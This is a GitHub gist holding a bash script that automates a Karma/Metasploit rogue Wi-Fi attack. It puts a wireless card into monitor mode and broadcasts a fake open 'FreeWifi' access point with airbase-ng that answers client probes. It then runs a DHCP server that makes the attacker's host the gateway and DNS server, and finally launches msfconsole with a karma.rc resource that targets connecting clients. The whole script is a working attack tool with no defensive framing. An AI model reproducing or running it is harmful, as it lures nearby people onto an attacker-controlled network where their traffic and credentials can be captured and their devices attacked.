Skip to content

Instantly share code, notes, and snippets.

@apsamuel
Created October 6, 2014 14:53
Show Gist options
  • Save apsamuel/f6dc6ac63ad5e9c73228 to your computer and use it in GitHub Desktop.
Save apsamuel/f6dc6ac63ad5e9c73228 to your computer and use it in GitHub Desktop.
A wrapper for karma/metasploit wifi attack
#!/usr/bin/env bash
#purpose: perform low level steps and execute the karma.rc resource within metasploit.
int=$1
function stop_airmon {
nic=$1
airmon-ng stop $nic
if [ $? -ne 0 ]; then echo "[+] could not stop airmon on $nic"; exit 1; else echo "[+] successfully stopped airmon for $nic"; fi
}
function start_airmon {
nic=$1
airmon-ng start $nic
if [ $? -ne 0 ]; then echo "[+] could not start airmon on $nic" ; exit 1 ; else echo "[+] successfully started airmon for $nic";fi
}
function restart_airmon {
nic=$1
stop_airmon $nic
start_airmon $nic
}
function start_airbase {
cat /dev/null > /tmp/airbase_freewifi.log
airbase-ng -P -C 30 -e "FreeWifi" -v mon0 2>&1 >> /tmp/airbase_freewifi.log &
disown
}
function bounce_nic {
nic=$1
ifconfig $nic down
if [ $? -ne 0 ]; then echo "[+] could not shut down $nic" ; exit 1 ; else echo "[+] successfully shut down $nic";fi
iwconfig $nic mode monitor
if [ $? -ne 0 ]; then echo "[+] could not set $nic to monitor mode" ; exit 1 ;else echo "[+] successfully set monitor mode for $nic";fi
ifconfig $nic up
if [ $? -ne 0 ]; then echo "[+] could not bring up $nic" ; exit 1 ; else echo "[+] successfully enabled $nic"; fi
}
function address_interface {
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
if [ $? -ne 0 ]; then echo "[+] could not address $nic" ; exit 1 ; else echo "[+] successfully set IP address for $nic";fi
}
function write_dhcp_configuration {
cat << EOF > /tmp/dhcpd.conf
option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
ddns-update-style none;
authoritative;
log-facility local7;
#subnet declaration
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.100 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;
}
EOF
}
function start_dhcp_server {
rm -f /tmp/dhcpd.conf
write_dhcp_configuration
#start dhcp server
dhcpd -cf /tmp/dhcpd.conf
}
function main {
int=$1
bounce_nic $int;
restart_airmon $int;
start_airbase;
sleep 5;
address_interface;
start_dhcp_server;
if [ $? -ne 0 ] ; then echo "[+] could not start dhcp server" ; exit 1 ; else echo "[+] successfully started DHCP serv process"; fi
cd /root && msfconsole -r karma.rc
}
#nail it!
#clean up old processes if any
echo "[+] removing any remaining old processes:"
airmon-ng stop mon0 2>&1 > /dev/null
pkill -9 -f airbase-ng 2>&1 > /dev/null
pkill -9 -f dhcpd 2>&1 > /dev/null
#run main
main $int;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment